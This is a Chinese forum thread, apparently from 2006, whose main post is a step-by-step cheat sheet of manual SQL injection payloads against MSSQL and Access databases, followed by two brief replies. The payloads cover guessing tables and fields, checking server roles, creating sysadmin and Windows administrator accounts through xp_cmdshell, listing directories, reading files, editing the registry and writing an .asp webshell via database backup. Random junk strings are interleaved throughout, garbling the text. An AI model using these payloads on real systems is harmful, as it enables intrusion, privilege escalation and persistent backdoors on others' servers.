社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3991阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 18JhC*in  
  2.初步判断是否是mssql ;and user>0 HRS|VC$tz  
clfi)-^ {K  
  3.注入参数是字符'and [查询条件] and ''=' F jdh&9Zc  
nTrfbK@  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' <q Z"W6&&  
Q|eRek  
  5.判断数据库系统 $tvGS6p>  
2y; |6`  
  ;and (select count(*) from sysobjects)>0 mssql Yc;cf% c1  
T{=.mW^ x  
  ;and (select count(*) from msysobjects)>0 access tMGkm8y-A  
/E>z8 J$  
,Nl]rmI  
T8Sgu6:*R  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 ,])@?TJb@  
48,Aq*JFw  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 SPKen}g  
?m-kpW8  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ;:xOW$  
Y ON@G5^  
  9.(1)猜字段的ascii值(access) )Y':u_Lo  
]P/eg$u'I  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 bqY}t. Y&"  
0 [6llcuj  
  (2)猜字段的ascii值(mssql) xTQV?g J  
,Ie~zZE&  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 /Z<"6g?  
Dz, Fu:)  
  10.测试权限结构(mssql) .N~qpynY  
U!m-{7s$  
#sit8k`GR8  
w7\:S>;(O"  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- zSta !]  
c)Ft#vzg&e  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- #u+BjuZo  
rN#ydw:9  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _DfI78`(  
A(AyLxB47*  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- n0:+D R  
 iqf+rBL  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $ hB;r  
)f#@`lf[<  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #|^7{TN   
5r/QPJ<h  
  ;and 1=(select IS_MEMBER('db_owner'));-- qg#WDx /  
Bv"Fx* {W  
WH :+HNl1d  
QC>I<j& `!  
  11.添加mssql和系统的帐户 'qLk"   
E&0A W{  
  ;exec master.dbo.sp_addlogin username;-- : 4$Ex2  
  ;exec master.dbo.sp_password null,username,password;-- oQ!}@CaN|  
J)(H-xvV  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- &rj6<b1A  
+T[3wL~  
  ;exec master.dbo.xp_cmdshell 'net user username password @t`| w.]ml  
nut;ohIh  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {(G@YG?  
AG) N^yd  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- [:$j<}UmB  
"hz(A.THi  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- s<0yQ-=.?N  
Vja' :i  
;}IF'ANA  
~Av]LW  
  12.(1)遍历目录 Y>!9P\Xe  
#m 3WZ3t$  
  ;create table dirs(paths varchar(100), id int) `9Ngax=_  
mm%w0dOb"  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' G1B~?i2$ ?  
9B Lz  
  ;and (select top 1 paths from dirs)>0 tjkY[  
XboOvdt^|  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) `<y[V  
o)n8,k&nm  
Zx25H"5j  
Faa:h#  
  (2)遍历目录 t&SJ!>7_c  
uR)itmc?  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- S}e*~^1J  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Wf_aEW&n  
,: w~-   
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 @FkNT~OZ  
If6wkY6sR  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 YkPz ~;  
Y'/`?CK  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 .^#{rk  
[.<nt:  
$Z 10Zf=  
`6j?2plZ  
  13.mssql中的存储过程 U._ U!U  
M@!Gk  
  xp_regenumvalues 注册表根键, 子键 P,h@F+OZN  
_ %&"4bm.  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )ACa0V>*p  
MS^,h>KI  
  xp_regread 根键,子键,键值名 DS>s_3V  
M; zRf3S  
  ;exec xp_regread c%pW'UE&  
"r cPJX  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 <)Kjf/x  
T'XAcH  
  xp_regwrite 根键,子键, 值名, 值类型, 值 oiO3]P]P  
&\sg~  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !QVd'e  
R ;5w*e}?5  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i BJ*6orz  
i )3Y\ u  
  xp_regdeletevalue 根键,子键,值名 i[3$Wi$  
#2yOqUO\  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 nIph[Vs-Z  
r_)-NOp  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 z('93vsO  
nS?HH6H  
XP2=x_"y  
2!68W X  
  14.mssql的backup创建webshell 1I3u~J3]/  
l0D.7>aj  
  use model a0)+=*$  
ec1g7w-n  
  create table cmd(str image);  4EB$e?  
eV9:AN}K=  
  insert into cmd(str) values (''); `H/HLCt  
Cy6[p  
  backup database model to disk='c:\l.asp'; |&n dQ(!l  
AaTtY d  
O-T/H-J`  
n^&QOII@>  
  15.mssql内置函数 R~RY:[5?w  
*kyy''r  
  ;and (select @@version)>0 获得Windows的版本号 (-dJ0!  
qwFn(pK[  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa m$LZ3=v%8  
W\~ZmA.  
  ;and (select user_name())>0 爆当前系统的连接用户 73}k[e7e  
/Z2*>7HM8[  
  ;and (select db_name())>0 得到当前连接的数据库 qWE"vI22M  
nj7Ri=lyS  
Z/-%Eb]L1  
\ vJ*3H6  
  16.简洁的webshell ^"buF\3L  
Bl`e+&b  
  use model '[-H].-!   
#i2q}/w5`C  
  create table cmd(str image); '3hvR4P  
^* DKF  
  insert into cmd(str) values (''); 0l 3RwWj  
4QI vxH  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五